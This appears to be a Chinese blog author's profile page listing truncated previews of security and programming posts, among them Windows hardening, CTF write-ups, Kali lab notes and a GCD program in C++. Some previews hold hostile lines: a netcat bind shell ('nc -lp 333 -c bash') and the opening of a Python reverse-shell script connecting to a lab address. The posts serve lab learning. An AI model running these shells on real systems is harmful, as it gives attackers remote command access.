logo
publist
写文章

简介

该用户还未填写简介

擅长的技术栈

可提供的服务

暂无可提供的服务

windows server 系统安全加固之Windows密码提取破解与策略设置

windows系统加固我们使用2003虚拟机来进行演示。**组策略与防火墙:**什么是组策略?注册表是Windows系统中保存系统、应用软件配置的数据库,随着Windows功能的越来越丰富,注册表里的配置项目也越来越多。很多配置都是 可以自定义设置的,但这些配置发布在注册表的各个角落,如果是手工配置,可想是多么困难和烦杂。而组策略则将系统重要的配置功能汇集成各种配置模块,供管理人员直接使...

网络安全实验室快速口算-python代码(快速计算)

我们看一下原题:题目给的算式在两名秒中之内会不断的刷新,所以这里我们需要用python写脚本,以post的方式发送计算结果。废话不多说直接上脚本。一、打开虚拟机,打开python。二、脚本编写脚本分析!/usr/bin/python#coding=utf-8import requestsurl='http://lab1.xseclab.com/xss2_0d557e6d2a4ac...

从前端JS逆向到发现后端越权漏洞的渗透测试之旅

之前我们发现一个函数JSEncrypt.prototype.encryptLong,接受一个字符串,然后对该字符串进行加密,最后跳转到了VM虚拟机中的代码。接下来就是对数据进行加密,加密逻辑很简单:获取公钥-RSA加密-AES加密。最后我们在JSEncrypt.prototype.encryptLong函数中下断点,跟进关键加密流程。该js为vue的加密库。断点跟进,可以发现先进行了RSA加密,得

#后端
kali-linux渗透测试之wireshark实战

系统:linux(两台)工具:nc、ncat、wirshark首先我们两台虚拟机用nc建立网络连接的通道,之后我们进行信息传递,进而用wirshark抓包。然后我们再用ncat进行加密传输,再用wireshark进行抓包。开始实验之前我们需要进行一下网络设置:root@kali:~# nc -lp 333 -c bash //开一个接口在另一台虚拟机上设置抓包的网卡:root@k...

kali-linux渗透测试之网络配置

有线配置:我们知道虚拟机有线网络配置有两种方式一种是NAT模式一种是桥接模式。那么这两种模式有什么区别?在NAT模式下,虚拟机可以通过物理主机连入外部网络,而外部网络甚至是物理主机都无法直接访问安装又kali Linux 的虚拟机,在桥接连接下,首先要使物理主机与网络设备连接。同时接入的网络里应当有DHCP服务,以分配IP地址给虚拟机。在这里我们讲一下DHCP服务:DHCP(Dynami...

CTF攻防世界--web题的wp

Linux的系统光盘,当然想到了在Linux下进行挂载了。打开虚拟机:root@kali:~# strings '/root/桌面/linux'| grep flag//strings - 显示文件中的可打印字符strings 一般用来查看非文本文件的内容.root@kali:~# sudo mount '/root/桌面/linux'/mnt//将文件挂载到/...

python---抓取banner信息升级版--使用os、sys模板

一、os模板#!/usr/bin/python#coding=utf-8import socketimport sysimport osif len(sys.argv)!=2:print "请正确使用文件:" + sys.argv[0]print "例如:" +"./test.pyIP.txt"sys.exit()def getbanner(IP,port)...

使用python反弹shell

先上脚本:#!/usr/bin/python#coding=utf-8import os,subprocess,sockets=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.1.107",19))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)...

python爬虫—Ubuntu18.04环境下的安装import、selenium、chrome、chromedriver

放假第一天开始学爬虫喽。Linux(ubuntu18.04):一、安装python在Ubuntu18.04下是自动安装python的。如图:二、安装python–requests库requests库的作用是什么呢?他的作用就是模拟浏览器向服务器发送请求。同上requests库也是自带的。但是我们在使用requests却出现了这种情况,如下:gxa@gxa-virtual-machin...

c++求最大公约数和最小公倍数

**辗转相除法**#include<iostream>using namespace std;int main(){int a,b,temp,r,p;cout<<"请输入两个数:"<<endl;cin>>a>>b;p=a*b;if(a<b){temp=a;a=b;b=temp;...

到底了